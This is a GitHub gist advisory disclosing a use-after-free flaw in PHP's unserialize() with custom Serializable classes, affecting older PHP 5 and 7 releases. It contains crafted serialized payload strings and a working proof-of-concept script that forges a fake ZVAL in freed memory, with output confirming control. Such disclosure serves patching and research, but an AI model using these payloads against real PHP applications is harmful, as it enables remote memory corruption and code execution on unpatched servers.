Skip to content

Instantly share code, notes, and snippets.

@chtg

chtg/.md Secret

Last active May 8, 2020 03:49
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save chtg/a2acf86d44315146e85b6f88f4d2b5eb to your computer and use it in GitHub Desktop.
Save chtg/a2acf86d44315146e85b6f88f4d2b5eb to your computer and use it in GitHub Desktop.
Use After Free Vulnerability in unserialize()

#Use After Free Vulnerability in unserialize()

Taoguang Chen <@chtg57> - Write Date: 2015.9.6 - Release Date: 2016.8.18

A use-after-free vulnerability was discovered in unserialize() with customized serializing class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5 < 5.6.25
Affected is PHP 7 < 7.0.10

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	...
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
		return 0;
	}

PHP provides an interface for customized serializing, the basic usage given in the PHP manual such as the following code:

<?php

class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

?>

But using the interface may cause some security issues.

PHP_FUNCTION(unserialize)
{
	...
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
	}

If the php_var_unserialize() call fails, the ZVAL return_value will be freed via zval_dtor(), then the ZVAL will be setted into a boolean-type ZVAL that value as FALSE, and the ZVAL will be still stored in an customized serializing object as its properties, such as the following code:

<?php

unserialize('C:3:"obj":4:{ryat}');

?>

Again, the object can be freed and setted as FALSE when next php_var_unserialize() call fails in during customized serializing. This means that the object and its properties will be destroyed. This also means that in the previous php_var_unserialize() call fails of the ZVAL will be freed. However during deserialization will still allow to use R: or r: to set references to that already freed memory, such as the following code:

<?php

unserialize('a:2:{i:0;C:3:"obj":17:{C:3:"obj":3:{ryat}i:1;R:4;}');

?>

This will result in use-after-free and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard macOS installation of PHP 5 series.

<?php

class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';
$data = unserialize($exploit);
var_dump($data[3]);

function ptr2str($ptr)
{
	$out = '';
	
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
int(1122334455)  <=== Created integer-type fake ZVAL

So an attacker can control the memory and create fake ZVAL, and an array-type or object-type fake ZVAL will result in code execution easily, it has been demonstrated many times before.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment